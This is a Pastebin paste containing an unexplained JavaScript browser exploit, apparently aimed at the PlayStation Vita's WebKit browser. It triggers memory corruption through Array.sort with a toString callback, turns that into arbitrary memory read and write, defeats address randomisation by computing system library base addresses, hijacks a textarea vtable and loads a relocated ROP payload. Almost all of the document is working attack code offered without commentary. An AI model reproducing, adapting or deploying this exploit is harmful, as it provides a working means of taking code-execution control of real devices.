Advertisement
Guest User

Untitled

a guest
Apr 4th, 2017
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <script>
  2.     try {
  3.         var e = 64 + payload[16 / 4];
  4.         e /= 4;
  5.         var a = null;
  6.  
  7.         function r(e, r) {
  8.             if (!a) a = new DataView(new ArrayBuffer(16));
  9.             a.setUint32(0, r);
  10.             a.setUint32(4, e);
  11.             return a.getFloat64(0)
  12.         }
  13.  
  14.         function t(e) {
  15.             if (!a) a = new DataView(new ArrayBuffer(16));
  16.             a.setFloat64(0, e);
  17.             return {
  18.                 low: a.getUint32(4),
  19.                 hi: a.getUint32(0)
  20.             }
  21.         }
  22.  
  23.         function o(e) {
  24.             var a = t(e);
  25.             hi = a.hi.toString(16);
  26.             lo = a.low.toString(16);
  27.             while (lo.length < 8) lo = "0" + lo;
  28.             return "0x" + hi + lo
  29.         }
  30.  
  31.         function s(e) {
  32.             while (1) alert(e)
  33.         }
  34.         var n = new Uint32Array(1024);
  35.         var i = new Uint32Array(55);
  36.         i[0] = 74565;
  37.         i[1] = 424080;
  38.         var c = document.createElement("textarea");
  39.         c.rows = 287454020;
  40.         var u = r(2147483648, 2147483648);
  41.         var d = 40960;
  42.         var b = 65536;
  43.         var f = 10;
  44.         var l = new Array(b);
  45.         var p = {};
  46.         p.toString = function() {
  47.             l.push(12345);
  48.             buf = new Uint32Array(159744);
  49.             buf[0] = -1;
  50.             return ""
  51.         };
  52.         l[0] = p;
  53.         l[1] = i;
  54.         l[2] = c;
  55.         l.sort();
  56.         p.toString = function() {
  57.             return ""
  58.         };
  59.         var _ = buf[8204];
  60.         var v = buf[8202];
  61.         var l = new Array(73728);
  62.         var p = {};
  63.         var S = [];
  64.         p.toString = function() {
  65.             l.push(12345);
  66.             for (var e = 0; e < f; ++e) {
  67.                 var a = new Array(d);
  68.                 a[0] = 1234.5;
  69.                 S.push(a)
  70.             }
  71.             return ""
  72.         };
  73.         l[0] = p;
  74.         for (var h = 1; h < 49152; ++h) l[h] = u;
  75.         l.sort();
  76.         p.toString = function() {
  77.             return ""
  78.         };
  79.         for (var h = 0; h < S.length; ++h) {
  80.             if (S[h].length != d) {
  81.                 found = S[h]
  82.             }
  83.         }
  84.         if (!found || found.length != 2147483648) {
  85.             s("failed")
  86.         }
  87.         var w = found[536821755];
  88.         var g = t(w).low;
  89.         found[536870907] = r(g, 0);
  90.         found[536870908] = 0;
  91.         found[536870909] = 0;
  92.         var w = t(found[536821756]).low;
  93.         if (w == 2203615232) {
  94.             me = 2208825344 + 40
  95.         } else if (w == 2202566656) {
  96.             me = 2207776768 + 40
  97.         } else {
  98.             found[268435456] = 123
  99.         }
  100.         scratch = me + 4096;
  101.         me -= 2719744;
  102.  
  103.         function y(e) {
  104.             idx = 536870912 + (e - me) / 8;
  105.             return found[idx]
  106.         }
  107.  
  108.         function m(e, a) {
  109.             idx = 536870912 + (e - me) / 8;
  110.             found[idx] = a
  111.         }
  112.         p = t(y(_ + 8)).hi;
  113.         m(p + 8, r(0, 2147483648));
  114.         m(p + 24, r(0, 2147483648));
  115.         if (i.length != 2147483648) s("failed to corrupt a buffer");
  116.         u32 = i;
  117.         p = u32[(v + 12) / 4];
  118.         textareavptr = u32[p / 4];
  119.         vtidx = p;
  120.  
  121.         function x(e) {
  122.             first = u32[e / 4];
  123.             second = u32[e / 4 + 1];
  124.             return ((first & 4095 | (first & 983040) >> 4) & 65535 | ((second & 4095 | (second & 983040) >> 4) & 65535) << 16) >>> 0
  125.         }
  126.         SceWebKit_base = textareavptr - 11253340;
  127.         SceLibc_base = x(SceWebKit_base + 8779012) - 64073;
  128.         SceLibKernel_base = x(SceWebKit_base + 8778852) - 36913;
  129.         ScePsp2Compat_base = x(SceWebKit_base + 8770276) - 142693;
  130.         SceWebFiltering_base = x(ScePsp2Compat_base + 2910348) - 2533;
  131.         SceLibHttp_base = x(SceWebFiltering_base + 15300) - 56365;
  132.         SceNet_base = x(SceWebKit_base + 8778772) - 9197;
  133.         SceNetCtl_base = x(SceLibHttp_base + 101364) - 3417;
  134.         SceAppMgr_base = x(SceNetCtl_base + 39608) - 18893;
  135.         some_space = scratch;
  136.         for (var h = 0; h < 64; h++) u32[some_space / 4 + h] = u32[textareavptr / 4 + h];
  137.         u32[vtidx / 4] = some_space;
  138.         for (var h = 0; h < 48; ++h) n[h] = u32[vtidx / 4 + h];
  139.         u32[some_space / 4 + 78] = SceLibc_base + 82032 | 1;
  140.         c.scrollLeft = 0;
  141.         sp = (u32[vtidx / 4 + 8] ^ (u32[vtidx / 4 + 9] ^ SceWebKit_base + 3242281) >>> 0) >>> 0;
  142.         sp -= 981016;
  143.         for (var h = 0; h < 48; ++h) u32[vtidx / 4 + h] = n[h];
  144.         rop_data_base = sp + 64;
  145.         rop_code_base = sp + 65536;
  146.         addr = sp / 4;
  147.         for (var h = 0; h < payload.length; ++h, ++addr) {
  148.             if (h == e) addr = rop_code_base / 4;
  149.             switch (relocs[h]) {
  150.                 case 0:
  151.                     u32[addr] = payload[h];
  152.                     break;
  153.                 case 1:
  154.                     u32[addr] = payload[h] + rop_data_base;
  155.                     break;
  156.                 case 2:
  157.                     u32[addr] = payload[h] + SceWebKit_base;
  158.                     break;
  159.                 case 3:
  160.                     u32[addr] = payload[h] + SceLibKernel_base;
  161.                     break;
  162.                 case 4:
  163.                     u32[addr] = payload[h] + SceLibc_base;
  164.                     break;
  165.                 case 5:
  166.                     u32[addr] = payload[h] + SceLibHttp_base;
  167.                     break;
  168.                 case 6:
  169.                     u32[addr] = payload[h] + SceNet_base;
  170.                     break;
  171.                 case 7:
  172.                     u32[addr] = payload[h] + SceAppMgr_base;
  173.                     break;
  174.                 default:
  175.                     alert("wtf?");
  176.                     alert(h + " " + relocs[h])
  177.             }
  178.         }
  179.         u32[some_space / 4 + 78] = SceWebKit_base + 21704;
  180.         var K = some_space + 256;
  181.         u32[K / 4 + 5] = rop_code_base;
  182.         u32[K / 4 + 6] = SceWebKit_base + 787594 | 1;
  183.         c.scrollLeft = K;
  184.         alert("that's it")
  185.     } catch (W) {
  186.         alert("error: " + W.message)
  187.     }
  188. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement